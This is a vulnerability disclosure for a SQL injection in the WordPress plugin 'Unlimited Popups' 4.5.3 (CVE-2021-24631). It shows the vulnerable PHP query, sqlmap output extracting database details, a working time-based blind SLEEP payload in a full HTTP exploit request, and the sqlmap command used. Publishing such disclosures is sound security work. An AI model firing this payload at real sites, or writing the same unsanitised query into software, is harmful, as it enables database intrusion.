Wp Plugin Unlimited Popups

Plugin Details

Plugin Name: wp-plugin : unlimited-popups
Effected Version : 4.5.3 (and most probably lower version's if any)
Vulnerability : Injection
Minimum Level of Access Required : Editor
CVE Number : CVE-2021-24631
Identified by : Shreya Pohekar
WPScan Reference URL

Disclosure Timeline

- June 15, 2021: Issue Identified and Disclosed to WPScan
- June 22, 2021 : Plugin Closed
- August 13, 2021 : CVE Assigned
- October 7, 2021 : Public Disclosure

Technical Details

The delete popup feature available to Editor and Administrator role, takes in GET parameter `did` and inserts it into the SQL statement without proper sanitization, validation or escaping therefore leading to SQL Injection.

Vulnerable Code: popuplist.php#L16

```
15:    $delid = $_GET["did"];
16:    $wpdb->query("delete from " . $table_name . " where id=" . $delid);
```

PoC Screenshot

```
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[14:30:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:30:03] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential)
technique found
[14:30:08] [INFO] checking if the injection point on GET parameter 'did' is a false positive
GET parameter 'did' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests:
---
Parameter: did (GET)
    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=popup&info=del&did=1 AND (SELECT 4420 FROM (SELECT(SLEEP(5)))yVXX)
---
[14:30:30] [INFO] the back-end DBMS is MySQL
[14:30:30] [INFO] fetching banner
[14:30:30] [INFO] retrieved:
[14:30:30] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potentia
l disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[14:30:46] [INFO] adjusting time delay to 3 seconds due to good response times
8.0.25-0ubuntu
[14:34:37] [ERROR] invalid character detected. retrying..
[14:34:37] [WARNING] increasing time delay to 4 seconds
0.20.04.1
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL ≥ 5.0.12
banner: '8.0.25-0ubuntu0.20.04.1'
[14:38:06] [INFO] fetching current user
[14:38:06] [INFO] retrieved: bob@localhost
current user: 'bob@localhost'
[14:41:46] [INFO] fetching current database
[14:41:46] [INFO] retrieved: wp
```

Exploit

```
GET /wp-admin/admin.php?page=popup&info=del&did=1 AND (SELECT 4420 FROM (SELECT(SLEEP(5)))yVXX) HTTP/1.1
Host: 172.28.128.50
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://172.28.128.50/wp-admin/admin.php?page=popup
Connection: close
Cookie: wordpress_232395f24f6cff47569f2739c21385d6=admin%7C1623236102%7ChOW4clIDPdi4TBOZiMszSHPdlMTwjn5Ct1f3LKhuUkr%7Cd369b0fc
Upgrade-Insecure-Requests: 1
```

SQLMap Command

```
sqlmap -r popup.req --dbms mysql --current-user --current-db -b -p did --batch --flush-session
```